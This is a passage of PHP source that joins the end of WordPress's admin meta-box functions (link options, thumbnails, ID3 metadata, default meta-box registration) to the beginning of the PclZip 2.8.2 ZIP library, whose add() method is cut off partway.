			<input class="valinp" type="checkbox" name="romantic" value="muse" id="muse" <?php xfn_check( 'romantic', 'muse' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'muse' ); ?>
			</label>
			<label for="crush">
			<input class="valinp" type="checkbox" name="romantic" value="crush" id="crush" <?php xfn_check( 'romantic', 'crush' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'crush' ); ?>
			</label>
			<label for="date">
			<input class="valinp" type="checkbox" name="romantic" value="date" id="date" <?php xfn_check( 'romantic', 'date' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'date' ); ?>
			</label>
			<label for="romantic">
			<input class="valinp" type="checkbox" name="romantic" value="sweetheart" id="romantic" <?php xfn_check( 'romantic', 'sweetheart' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'sweetheart' ); ?>
			</label>
		</fieldset></td>
	</tr>

</table>
<p><?php _e( 'If the link is to a person, you can specify your relationship with them using the above form. If you would like to learn more about the idea check out <a href="https://gmpg.org/xfn/">XFN</a>.' ); ?></p>
	<?php
}

/**
 * Displays advanced link options form fields.
 *
 * @since 2.6.0
 *
 * @param object $link Current link object.
 */
function link_advanced_meta_box( $link ) {
	?>
<table class="links-table" cellpadding="0">
	<tr>
		<th scope="row"><label for="link_image"><?php _e( 'Image Address' ); ?></label></th>
		<td><input type="text" name="link_image" class="code" id="link_image" maxlength="255" value="<?php echo ( isset( $link->link_image ) ? esc_attr( $link->link_image ) : '' ); ?>" /></td>
	</tr>
	<tr>
		<th scope="row"><label for="rss_uri"><?php _e( 'RSS Address' ); ?></label></th>
		<td><input name="link_rss" class="code" type="text" id="rss_uri" maxlength="255" value="<?php echo ( isset( $link->link_rss ) ? esc_attr( $link->link_rss ) : '' ); ?>" /></td>
	</tr>
	<tr>
		<th scope="row"><label for="link_notes"><?php _e( 'Notes' ); ?></label></th>
		<td><textarea name="link_notes" id="link_notes" rows="10"><?php echo ( isset( $link->link_notes ) ? $link->link_notes : '' ); // textarea_escaped ?></textarea></td>
	</tr>
	<tr>
		<th scope="row"><label for="link_rating"><?php _e( 'Rating' ); ?></label></th>
		<td><select name="link_rating" id="link_rating" size="1">
		<?php
		for ( $rating = 0; $rating <= 10; $rating++ ) {
			echo '<option value="' . $rating . '"';
			if ( isset( $link->link_rating ) && $link->link_rating === $rating ) {
				echo ' selected="selected"';
			}
			echo '>' . $rating . '</option>';
		}
		?>
		</select>&nbsp;<?php _e( '(Leave at 0 for no rating.)' ); ?>
		</td>
	</tr>
</table>
	<?php
}

/**
 * Displays post thumbnail meta box.
 *
 * @since 2.9.0
 *
 * @param WP_Post $post Current post object.
 */
function post_thumbnail_meta_box( $post ) {
	$thumbnail_id = get_post_meta( $post->ID, '_thumbnail_id', true );
	echo _wp_post_thumbnail_html( $thumbnail_id, $post->ID );
}

/**
 * Displays fields for ID3 data.
 *
 * @since 3.9.0
 *
 * @param WP_Post $post Current post object.
 */
function attachment_id3_data_meta_box( $post ) {
	$meta = array();
	if ( ! empty( $post->ID ) ) {
		$meta = wp_get_attachment_metadata( $post->ID );
	}

	foreach ( wp_get_attachment_id3_keys( $post, 'edit' ) as $key => $label ) :
		$value = '';
		if ( ! empty( $meta[ $key ] ) ) {
			$value = $meta[ $key ];
		}
		?>
	<p>
		<label for="title"><?php echo $label; ?></label><br />
		<input type="text" name="id3_<?php echo esc_attr( $key ); ?>" id="id3_<?php echo esc_attr( $key ); ?>" class="large-text" value="<?php echo esc_attr( $value ); ?>" />
	</p>
		<?php
	endforeach;
}

/**
 * Registers the default post meta boxes, and runs the `do_meta_boxes` actions.
 *
 * @since 5.0.0
 *
 * @param WP_Post $post The post object that these meta boxes are being generated for.
 */
function register_and_do_post_meta_boxes( $post ) {
	$post_type        = $post->post_type;
	$post_type_object = get_post_type_object( $post_type );

	$thumbnail_support = current_theme_supports( 'post-thumbnails', $post_type ) && post_type_supports( $post_type, 'thumbnail' );
	if ( ! $thumbnail_support && 'attachment' === $post_type && $post->post_mime_type ) {
		if ( wp_attachment_is( 'audio', $post ) ) {
			$thumbnail_support = post_type_supports( 'attachment:audio', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:audio' );
		} elseif ( wp_attachment_is( 'video', $post ) ) {
			$thumbnail_support = post_type_supports( 'attachment:video', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:video' );
		}
	}

	$publish_callback_args = array( '__back_compat_meta_box' => true );

	if ( post_type_supports( $post_type, 'revisions' ) && 'auto-draft' !== $post->post_status ) {
		$revisions = wp_get_latest_revision_id_and_total_count( $post->ID );

		// We should aim to show the revisions meta box only when there are revisions.
		if ( ! is_wp_error( $revisions ) && $revisions['count'] > 1 ) {
			$publish_callback_args = array(
				'revisions_count'        => $revisions['count'],
				'revision_id'            => $revisions['latest_id'],
				'__back_compat_meta_box' => true,
			);

			add_meta_box( 'revisionsdiv', __( 'Revisions' ), 'post_revisions_meta_box', null, 'normal', 'core', array( '__back_compat_meta_box' => true ) );
		}
	}

	if ( 'attachment' === $post_type ) {
		wp_enqueue_script( 'image-edit' );
		wp_enqueue_style( 'imgareaselect' );
		add_meta_box( 'submitdiv', __( 'Save' ), 'attachment_submit_meta_box', null, 'side', 'core', array( '__back_compat_meta_box' => true ) );
		add_action( 'edit_form_after_title', 'edit_form_image_editor' );

		if ( wp_attachment_is( 'audio', $post ) ) {
			add_meta_box( 'attachment-id3', __( 'Metadata' ), 'attachment_id3_data_meta_box', null, 'normal', 'core', array( '__back_compat_meta_box' => true ) );
		}
	} else {
		add_meta_box( 'submitdiv', __( 'Publish' ), 'post_submit_meta_box', null, 'side', 'core', $publish_callback_args );
	}

	if ( current_theme_supports( 'post-formats' ) && post_type_supports( $post_type, 'post-formats' ) ) {
		add_meta_box( 'formatdiv', _x( 'Format', 'post format' ), 'post_format_meta_box', null, 'side', 'core', array( '__back_compat_meta_box' => true ) );
	}

	// All taxonomies.
	foreach ( get_object_taxonomies( $post ) as $tax_name ) {
		$taxonomy = get_taxonomy( $tax_name );
		if ( ! $taxonomy->show_ui || false === $taxonomy->meta_box_cb ) {
			continue;
		}

		$label = $taxonomy->labels->name;

		if ( ! is_taxonomy_hierarchical( $tax_name ) ) {
			$tax_meta_box_id = 'tagsdiv-' . $tax_name;
		} else {
			$tax_meta_box_id = $tax_name . 'div';
		}

		add_meta_box(
			$tax_meta_box_id,
			$label,
			$taxonomy->meta_box_cb,
			null,
			'side',
			'core',
			array(
				'taxonomy'               => $tax_name,
				'__back_compat_meta_box' => true,
			)
		);
	}

	if ( post_type_supports( $post_type, 'page-attributes' ) || count( get_page_templates( $post ) ) > 0 ) {
		add_meta_box( 'pageparentdiv', $post_type_object->labels->attributes, 'page_attributes_meta_box', null, 'side', 'core', array( '__back_compat_meta_box' => true ) );
	}

	if ( $thumbnail_support && current_user_can( 'upload_files' ) ) {
		add_meta_box( 'postimagediv', esc_html( $post_type_object->labels->featured_image ), 'post_thumbnail_meta_box', null, 'side', 'low', array( '__back_compat_meta_box' => true ) );
	}

	if ( post_type_supports( $post_type, 'excerpt' ) ) {
		add_meta_box( 'postexcerpt', __( 'Excerpt' ), 'post_excerpt_meta_box', null, 'normal', 'core', array( '__back_compat_meta_box' => true ) );
	}

	if ( post_type_supports( $post_type, 'trackbacks' ) ) {
		add_meta_box( 'trackbacksdiv', __( 'Send Trackbacks' ), 'post_trackback_meta_box', null, 'normal', 'core', array( '__back_compat_meta_box' => true ) );
	}

	if ( post_type_supports( $post_type, 'custom-fields' ) ) {
		add_meta_box(
			'postcustom',
			__( 'Custom Fields' ),
			'post_custom_meta_box',
			null,
			'normal',
			'core',
			array(
				'__back_compat_meta_box'             => ! (bool) get_user_meta( get_current_user_id(), 'enable_custom_fields', true ),
				'__block_editor_compatible_meta_box' => true,
			)
		);
	}

	/**
	 * Fires in the middle of built-in meta box registration.
	 *
	 * @since 2.1.0
	 * @deprecated 3.7.0 Use {@see 'add_meta_boxes'} instead.
	 *
	 * @param WP_Post $post Post object.
	 */
	do_action_deprecated( 'dbx_post_advanced', array( $post ), '3.7.0', 'add_meta_boxes' );

	/*
	 * Allow the Discussion meta box to show up if the post type supports comments,
	 * or if comments or pings are open.
	 */
	if ( comments_open( $post ) || pings_open( $post ) || post_type_supports( $post_type, 'comments' ) ) {
		add_meta_box( 'commentstatusdiv', __( 'Discussion' ), 'post_comment_status_meta_box', null, 'normal', 'core', array( '__back_compat_meta_box' => true ) );
	}

	$stati = get_post_stati( array( 'public' => true ) );
	if ( empty( $stati ) ) {
		$stati = array( 'publish' );
	}
	$stati[] = 'private';

	if ( in_array( get_post_status( $post ), $stati, true ) ) {
		/*
		 * If the post type support comments, or the post has comments,
		 * allow the Comments meta box.
		 */
		if ( comments_open( $post ) || pings_open( $post ) || $post->comment_count > 0 || post_type_supports( $post_type, 'comments' ) ) {
			add_meta_box( 'commentsdiv', __( 'Comments' ), 'post_comment_meta_box', null, 'normal', 'core', array( '__back_compat_meta_box' => true ) );
		}
	}

	if ( ! ( 'pending' === get_post_status( $post ) && ! current_user_can( $post_type_object->cap->publish_posts ) ) ) {
		add_meta_box( 'slugdiv', __( 'Slug' ), 'post_slug_meta_box', null, 'normal', 'core', array( '__back_compat_meta_box' => true ) );
	}

	if ( post_type_supports( $post_type, 'author' ) && current_user_can( $post_type_object->cap->edit_others_posts ) ) {
		add_meta_box( 'authordiv', __( 'Author' ), 'post_author_meta_box', null, 'normal', 'core', array( '__back_compat_meta_box' => true ) );
	}

	/**
	 * Fires after all built-in meta boxes have been added.
	 *
	 * @since 3.0.0
	 *
	 * @param string  $post_type Post type.
	 * @param WP_Post $post      Post object.
	 */
	do_action( 'add_meta_boxes', $post_type, $post );

	/**
	 * Fires after all built-in meta boxes have been added, contextually for the given post type.
	 *
	 * The dynamic portion of the hook name, `$post_type`, refers to the post type of the post.
	 *
	 * Possible hook names include:
	 *
	 *  - `add_meta_boxes_post`
	 *  - `add_meta_boxes_page`
	 *  - `add_meta_boxes_attachment`
	 *
	 * @since 3.0.0
	 *
	 * @param WP_Post $post Post object.
	 */
	do_action( "add_meta_boxes_{$post_type}", $post );

	/**
	 * Fires after meta boxes have been added.
	 *
	 * Fires once for each of the default meta box contexts: normal, advanced, and side.
	 *
	 * @since 3.0.0
	 *
	 * @param string                $post_type Post type of the post on Edit Post screen, 'link' on Edit Link screen,
	 *                                         'dashboard' on Dashboard screen.
	 * @param string                $context   Meta box context. Possible values include 'normal', 'advanced', 'side'.
	 * @param WP_Post|object|string $post      Post object on Edit Post screen, link object on Edit Link screen,
	 *                                         an empty string on Dashboard screen.
	 */
	do_action( 'do_meta_boxes', $post_type, 'normal', $post );
	/** This action is documented in wp-admin/includes/meta-boxes.php */
	do_action( 'do_meta_boxes', $post_type, 'advanced', $post );
	/** This action is documented in wp-admin/includes/meta-boxes.php */
	do_action( 'do_meta_boxes', $post_type, 'side', $post );
}
<?php
// --------------------------------------------------------------------------------
// PhpConcept Library - Zip Module 2.8.2
// --------------------------------------------------------------------------------
// License GNU/LGPL - Vincent Blavet - August 2009
// http://www.phpconcept.net
// --------------------------------------------------------------------------------
//
// Presentation :
//   PclZip is a PHP library that manage ZIP archives.
//   So far tests show that archives generated by PclZip are readable by
//   WinZip application and other tools.
//
// Description :
//   See readme.txt and http://www.phpconcept.net
//
// Warning :
//   This library and the associated files are non commercial, non professional
//   work.
//   It should not have unexpected results. However if any damage is caused by
//   this software the author can not be responsible.
//   The use of this software is at the risk of the user.
//
// --------------------------------------------------------------------------------
// $Id: pclzip.lib.php,v 1.60 2009/09/30 21:01:04 vblavet Exp $
// --------------------------------------------------------------------------------

  // ----- Constants
  if (!defined('PCLZIP_READ_BLOCK_SIZE')) {
    define( 'PCLZIP_READ_BLOCK_SIZE', 2048 );
  }

  // ----- File list separator
  // In version 1.x of PclZip, the separator for file list is a space
  // (which is not a very smart choice, specifically for windows paths !).
  // A better separator should be a comma (,). This constant gives you the
  // ability to change that.
  // However notice that changing this value, may have impact on existing
  // scripts, using space separated filenames.
  // Recommended values for compatibility with older versions :
  //define( 'PCLZIP_SEPARATOR', ' ' );
  // Recommended values for smart separation of filenames.
  if (!defined('PCLZIP_SEPARATOR')) {
    define( 'PCLZIP_SEPARATOR', ',' );
  }

  // ----- Error configuration
  // 0 : PclZip Class integrated error handling
  // 1 : PclError external library error handling. By enabling this
  //     you must ensure that you have included PclError library.
  // [2,...] : reserved for futur use
  if (!defined('PCLZIP_ERROR_EXTERNAL')) {
    define( 'PCLZIP_ERROR_EXTERNAL', 0 );
  }

  // ----- Optional static temporary directory
  //       By default temporary files are generated in the script current
  //       path.
  //       If defined :
  //       - MUST BE terminated by a '/'.
  //       - MUST be a valid, already created directory
  //       Samples :
  // define( 'PCLZIP_TEMPORARY_DIR', '/temp/' );
  // define( 'PCLZIP_TEMPORARY_DIR', 'C:/Temp/' );
  if (!defined('PCLZIP_TEMPORARY_DIR')) {
    define( 'PCLZIP_TEMPORARY_DIR', '' );
  }

  // ----- Optional threshold ratio for use of temporary files
  //       Pclzip sense the size of the file to add/extract and decide to
  //       use or not temporary file. The algorithm is looking for
  //       memory_limit of PHP and apply a ratio.
  //       threshold = memory_limit * ratio.
  //       Recommended values are under 0.5. Default 0.47.
  //       Samples :
  // define( 'PCLZIP_TEMPORARY_FILE_RATIO', 0.5 );
  if (!defined('PCLZIP_TEMPORARY_FILE_RATIO')) {
    define( 'PCLZIP_TEMPORARY_FILE_RATIO', 0.47 );
  }

// --------------------------------------------------------------------------------
// ***** UNDER THIS LINE NOTHING NEEDS TO BE MODIFIED *****
// --------------------------------------------------------------------------------

  // ----- Global variables
  $g_pclzip_version = "2.8.2";

  // ----- Error codes
  //   -1 : Unable to open file in binary write mode
  //   -2 : Unable to open file in binary read mode
  //   -3 : Invalid parameters
  //   -4 : File does not exist
  //   -5 : Filename is too long (max. 255)
  //   -6 : Not a valid zip file
  //   -7 : Invalid extracted file size
  //   -8 : Unable to create directory
  //   -9 : Invalid archive extension
  //  -10 : Invalid archive format
  //  -11 : Unable to delete file (unlink)
  //  -12 : Unable to rename file (rename)
  //  -13 : Invalid header checksum
  //  -14 : Invalid archive size
  define( 'PCLZIP_ERR_USER_ABORTED', 2 );
  define( 'PCLZIP_ERR_NO_ERROR', 0 );
  define( 'PCLZIP_ERR_WRITE_OPEN_FAIL', -1 );
  define( 'PCLZIP_ERR_READ_OPEN_FAIL', -2 );
  define( 'PCLZIP_ERR_INVALID_PARAMETER', -3 );
  define( 'PCLZIP_ERR_MISSING_FILE', -4 );
  define( 'PCLZIP_ERR_FILENAME_TOO_LONG', -5 );
  define( 'PCLZIP_ERR_INVALID_ZIP', -6 );
  define( 'PCLZIP_ERR_BAD_EXTRACTED_FILE', -7 );
  define( 'PCLZIP_ERR_DIR_CREATE_FAIL', -8 );
  define( 'PCLZIP_ERR_BAD_EXTENSION', -9 );
  define( 'PCLZIP_ERR_BAD_FORMAT', -10 );
  define( 'PCLZIP_ERR_DELETE_FILE_FAIL', -11 );
  define( 'PCLZIP_ERR_RENAME_FILE_FAIL', -12 );
  define( 'PCLZIP_ERR_BAD_CHECKSUM', -13 );
  define( 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP', -14 );
  define( 'PCLZIP_ERR_MISSING_OPTION_VALUE', -15 );
  define( 'PCLZIP_ERR_INVALID_OPTION_VALUE', -16 );
  define( 'PCLZIP_ERR_ALREADY_A_DIRECTORY', -17 );
  define( 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION', -18 );
  define( 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION', -19 );
  define( 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE', -20 );
  define( 'PCLZIP_ERR_DIRECTORY_RESTRICTION', -21 );

  // ----- Options values
  define( 'PCLZIP_OPT_PATH', 77001 );
  define( 'PCLZIP_OPT_ADD_PATH', 77002 );
  define( 'PCLZIP_OPT_REMOVE_PATH', 77003 );
  define( 'PCLZIP_OPT_REMOVE_ALL_PATH', 77004 );
  define( 'PCLZIP_OPT_SET_CHMOD', 77005 );
  define( 'PCLZIP_OPT_EXTRACT_AS_STRING', 77006 );
  define( 'PCLZIP_OPT_NO_COMPRESSION', 77007 );
  define( 'PCLZIP_OPT_BY_NAME', 77008 );
  define( 'PCLZIP_OPT_BY_INDEX', 77009 );
  define( 'PCLZIP_OPT_BY_EREG', 77010 );
  define( 'PCLZIP_OPT_BY_PREG', 77011 );
  define( 'PCLZIP_OPT_COMMENT', 77012 );
  define( 'PCLZIP_OPT_ADD_COMMENT', 77013 );
  define( 'PCLZIP_OPT_PREPEND_COMMENT', 77014 );
  define( 'PCLZIP_OPT_EXTRACT_IN_OUTPUT', 77015 );
  define( 'PCLZIP_OPT_REPLACE_NEWER', 77016 );
  define( 'PCLZIP_OPT_STOP_ON_ERROR', 77017 );
  // Having big trouble with crypt. Need to multiply 2 long int
  // which is not correctly supported by PHP ...
  //define( 'PCLZIP_OPT_CRYPT', 77018 );
  define( 'PCLZIP_OPT_EXTRACT_DIR_RESTRICTION', 77019 );
  define( 'PCLZIP_OPT_TEMP_FILE_THRESHOLD', 77020 );
  define( 'PCLZIP_OPT_ADD_TEMP_FILE_THRESHOLD', 77020 ); // alias
  define( 'PCLZIP_OPT_TEMP_FILE_ON', 77021 );
  define( 'PCLZIP_OPT_ADD_TEMP_FILE_ON', 77021 ); // alias
  define( 'PCLZIP_OPT_TEMP_FILE_OFF', 77022 );
  define( 'PCLZIP_OPT_ADD_TEMP_FILE_OFF', 77022 ); // alias

  // ----- File description attributes
  define( 'PCLZIP_ATT_FILE_NAME', 79001 );
  define( 'PCLZIP_ATT_FILE_NEW_SHORT_NAME', 79002 );
  define( 'PCLZIP_ATT_FILE_NEW_FULL_NAME', 79003 );
  define( 'PCLZIP_ATT_FILE_MTIME', 79004 );
  define( 'PCLZIP_ATT_FILE_CONTENT', 79005 );
  define( 'PCLZIP_ATT_FILE_COMMENT', 79006 );

  // ----- Call backs values
  define( 'PCLZIP_CB_PRE_EXTRACT', 78001 );
  define( 'PCLZIP_CB_POST_EXTRACT', 78002 );
  define( 'PCLZIP_CB_PRE_ADD', 78003 );
  define( 'PCLZIP_CB_POST_ADD', 78004 );
  /* For futur use
  define( 'PCLZIP_CB_PRE_LIST', 78005 );
  define( 'PCLZIP_CB_POST_LIST', 78006 );
  define( 'PCLZIP_CB_PRE_DELETE', 78007 );
  define( 'PCLZIP_CB_POST_DELETE', 78008 );
  */

  // --------------------------------------------------------------------------------
  // Class : PclZip
  // Description :
  //   PclZip is the class that represent a Zip archive.
  //   The public methods allow the manipulation of the archive.
  // Attributes :
  //   Attributes must not be accessed directly.
  // Methods :
  //   PclZip() : Object creator
  //   create() : Creates the Zip archive
  //   listContent() : List the content of the Zip archive
  //   extract() : Extract the content of the archive
  //   properties() : List the properties of the archive
  // --------------------------------------------------------------------------------
  class PclZip
  {
    // ----- Filename of the zip file
    var $zipname = '';

    // ----- File descriptor of the zip file
    var $zip_fd = 0;

    // ----- Internal error handling
    var $error_code = 1;
    var $error_string = '';

    // ----- Current status of the magic_quotes_runtime
    // This value store the php configuration for magic_quotes
    // The class can then disable the magic_quotes and reset it after
    var $magic_quotes_status;

  // --------------------------------------------------------------------------------
  // Function : PclZip()
  // Description :
  //   Creates a PclZip object and set the name of the associated Zip archive
  //   filename.
  //   Note that no real action is taken, if the archive does not exist it is not
  //   created. Use create() for that.
  // --------------------------------------------------------------------------------
  function __construct($p_zipname)
  {

    // ----- Tests the zlib
    if (!function_exists('gzopen'))
    {
      die('Abort '.basename(__FILE__).' : Missing zlib extensions');
    }

    // ----- Set the attributes
    $this->zipname = $p_zipname;
    $this->zip_fd = 0;
    $this->magic_quotes_status = -1;

    // ----- Return
    return;
  }

  public function PclZip($p_zipname) {
    self::__construct($p_zipname);
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function :
  //   create($p_filelist, $p_add_dir="", $p_remove_dir="")
  //   create($p_filelist, $p_option, $p_option_value, ...)
  // Description :
  //   This method supports two different synopsis. The first one is historical.
  //   This method creates a Zip Archive. The Zip file is created in the
  //   filesystem. The files and directories indicated in $p_filelist
  //   are added in the archive. See the parameters description for the
  //   supported format of $p_filelist.
  //   When a directory is in the list, the directory and its content is added
  //   in the archive.
  //   In this synopsis, the function takes an optional variable list of
  //   options. See below the supported options.
  // Parameters :
  //   $p_filelist : An array containing file or directory names, or
  //                 a string containing one filename or one directory name, or
  //                 a string containing a list of filenames and/or directory
  //                 names separated by spaces.
  //   $p_add_dir : A path to add before the real path of the archived file,
  //                in order to have it memorized in the archive.
  //   $p_remove_dir : A path to remove from the real path of the file to archive,
  //                   in order to have a shorter path memorized in the archive.
  //                   When $p_add_dir and $p_remove_dir are set, $p_remove_dir
  //                   is removed first, before $p_add_dir is added.
  // Options :
  //   PCLZIP_OPT_ADD_PATH :
  //   PCLZIP_OPT_REMOVE_PATH :
  //   PCLZIP_OPT_REMOVE_ALL_PATH :
  //   PCLZIP_OPT_COMMENT :
  //   PCLZIP_CB_PRE_ADD :
  //   PCLZIP_CB_POST_ADD :
  // Return Values :
  //   0 on failure,
  //   The list of the added files, with a status of the add action.
  //   (see PclZip::listContent() for list entry format)
  // --------------------------------------------------------------------------------
  function create($p_filelist)
  {
    $v_result=1;

    // ----- Reset the error handler
    $this->privErrorReset();

    // ----- Set default values
    $v_options = array();
    $v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE;

    // ----- Look for variable options arguments
    $v_size = func_num_args();

    // ----- Look for arguments
    if ($v_size > 1) {
      // ----- Get the arguments
      $v_arg_list = func_get_args();

      // ----- Remove from the options list the first argument
      array_shift($v_arg_list);
      $v_size--;

      // ----- Look for first arg
      if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {

        // ----- Parse the options
        $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
                                            array (PCLZIP_OPT_REMOVE_PATH => 'optional',
                                                   PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
                                                   PCLZIP_OPT_ADD_PATH => 'optional',
                                                   PCLZIP_CB_PRE_ADD => 'optional',
                                                   PCLZIP_CB_POST_ADD => 'optional',
                                                   PCLZIP_OPT_NO_COMPRESSION => 'optional',
                                                   PCLZIP_OPT_COMMENT => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_ON => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
                                                   //, PCLZIP_OPT_CRYPT => 'optional'
                                             ));
        if ($v_result != 1) {
          return 0;
        }
      }

      // ----- Look for 2 args
      // Here we need to support the first historic synopsis of the
      // method.
      else {

        // ----- Get the first argument
        $v_options[PCLZIP_OPT_ADD_PATH] = $v_arg_list[0];

        // ----- Look for the optional second argument
        if ($v_size == 2) {
          $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1];
        }
        else if ($v_size > 2) {
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER,
		                       "Invalid number / type of arguments");
          return 0;
        }
      }
    }

    // ----- Look for default option values
    $this->privOptionDefaultThreshold($v_options);

    // ----- Init
    $v_string_list = array();
    $v_att_list = array();
    $v_filedescr_list = array();
    $p_result_list = array();

    // ----- Look if the $p_filelist is really an array
    if (is_array($p_filelist)) {

      // ----- Look if the first element is also an array
      //       This will mean that this is a file description entry
      if (isset($p_filelist[0]) && is_array($p_filelist[0])) {
        $v_att_list = $p_filelist;
      }

      // ----- The list is a list of string names
      else {
        $v_string_list = $p_filelist;
      }
    }

    // ----- Look if the $p_filelist is a string
    else if (is_string($p_filelist)) {
      // ----- Create a list from the string
      $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist);
    }

    // ----- Invalid variable type for $p_filelist
    else {
      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_filelist");
      return 0;
    }

    // ----- Reformat the string list
    if (sizeof($v_string_list) != 0) {
      foreach ($v_string_list as $v_string) {
        if ($v_string != '') {
          $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string;
        }
        else {
        }
      }
    }

    // ----- For each file in the list check the attributes
    $v_supported_attributes
    = array ( PCLZIP_ATT_FILE_NAME => 'mandatory'
             ,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional'
             ,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional'
             ,PCLZIP_ATT_FILE_MTIME => 'optional'
             ,PCLZIP_ATT_FILE_CONTENT => 'optional'
             ,PCLZIP_ATT_FILE_COMMENT => 'optional'
						);
    foreach ($v_att_list as $v_entry) {
      $v_result = $this->privFileDescrParseAtt($v_entry,
                                               $v_filedescr_list[],
                                               $v_options,
                                               $v_supported_attributes);
      if ($v_result != 1) {
        return 0;
      }
    }

    // ----- Expand the filelist (expand directories)
    $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options);
    if ($v_result != 1) {
      return 0;
    }

    // ----- Call the create fct
    $v_result = $this->privCreate($v_filedescr_list, $p_result_list, $v_options);
    if ($v_result != 1) {
      return 0;
    }

    // ----- Return
    return $p_result_list;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function :
  //   add($p_filelist, $p_add_dir="", $p_remove_dir="")
  //   add($p_filelist, $p_option, $p_option_value, ...)
  // Description :
  //   This method supports two synopsis. The first one is historical.
  //   This methods add the list of files in an existing archive.
  //   If a file with the same name already exists, it is added at the end of the
  //   archive, the first one is still present.
  //   If the archive does not exist, it is created.
  // Parameters :
  //   $p_filelist : An array containing file or directory names, or
  //                 a string containing one filename or one directory name, or
  //                 a string containing a list of filenames and/or directory
  //                 names separated by spaces.
  //   $p_add_dir : A path to add before the real path of the archived file,
  //                in order to have it memorized in the archive.
  //   $p_remove_dir : A path to remove from the real path of the file to archive,
  //                   in order to have a shorter path memorized in the archive.
  //                   When $p_add_dir and $p_remove_dir are set, $p_remove_dir
  //                   is removed first, before $p_add_dir is added.
  // Options :
  //   PCLZIP_OPT_ADD_PATH :
  //   PCLZIP_OPT_REMOVE_PATH :
  //   PCLZIP_OPT_REMOVE_ALL_PATH :
  //   PCLZIP_OPT_COMMENT :
  //   PCLZIP_OPT_ADD_COMMENT :
  //   PCLZIP_OPT_PREPEND_COMMENT :
  //   PCLZIP_CB_PRE_ADD :
  //   PCLZIP_CB_POST_ADD :
  // Return Values :
  //   0 on failure,
  //   The list of the added files, with a status of the add action.
  //   (see PclZip::listContent() for list entry format)
  // --------------------------------------------------------------------------------
  function add($p_filelist)
  {
    $v_result=1;

    // ----- Reset the error handler
    $this->privErrorReset();

    // ----- Set default values
    $v_options = array();
    $v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE;

    // ----- Look for variable options arguments
    $v_size = func_num_args();

    // ----- Look for arguments
    if ($v_size > 1) {
      // ----- Get the arguments
      $v_arg_list = func_get_args();

      // ----- Remove form the options list the first argument
      array_shift($v_arg_list);
      $v_size--;

      // ----- Look for first arg
      if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {

        // ----- Parse the options
        $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
                                            array (PCLZIP_OPT_REMOVE_PATH => 'optional',
                                                   PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
                                                   PCLZIP_OPT_ADD_PATH => 'optional',
                                                   PCLZIP_CB_PRE_ADD => 'optional',
                                                   PCLZIP_CB_POST_ADD => 'optional',
                                                   PCLZIP_OPT_NO_COMPRESSION => 'optional',
                                                   PCLZIP_OPT_COMMENT => 'optional',
                                                   PCLZIP_OPT_ADD_COMMENT => 'optional',
                                                   PCLZIP_OPT_PREPEND_COMMENT => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_ON => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
                                                   //, PCLZIP_OPT_CRYPT => 'optional'
												   ));
        if ($v_result != 1) {
          return 0;
        }
      }

      // ----- Look for 2 args
      // Here we need to support the first historic synopsis of the
      // method.
      else {

        // ----- Get the first argument
        $v_options[PCLZIP_OPT_ADD_PATH] = $v_add_path = $v_arg_list[0];

        // ----- Look for the optional second argument
        if ($v_size == 2) {
          $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1];
        }
        else if ($v_size > 2) {
          // ----- Error log
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");

          // ----- Return
          return 0;
        }
      }
    }

    // ----- Look for default option values
    $this->privOptionDefaultThreshold($v_options);

    // ----- Init
    $v_string_list = array();
    $v_att_list = array();
    $v_filedescr_list = array();
    $p_result_list = array();

    // ----- Look if the $p_filelist is really an array
    if (is_array($p_filelist)) {

      // ----- Look if the first element is also an array
      //       This will mean that this is a file description entry
      if (isset($p_filelist[0]) && is_array($p_filelist[0])) {
        $v_att_list = $p_filelist;
      }

      // ----- The list is a list of string names
      else {
        $v_string_list = $p_filelist;
      }
    }

    // ----- Look if the $p_filelist is a string
    else if (is_string($p_filelist)) {
      // ----- Create a list from the string
      $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist);
    }

    // ----- Invalid variable type for $p_filelist
    else {
      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type '".gettype($p_filelist)."' for p_filelist");
      return 0;
    }

    // ----- Reformat the string list
    if (sizeof($v_string_list) != 0) {
      foreach ($v_string_list as $v_string) {
        $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string;
      }
    }

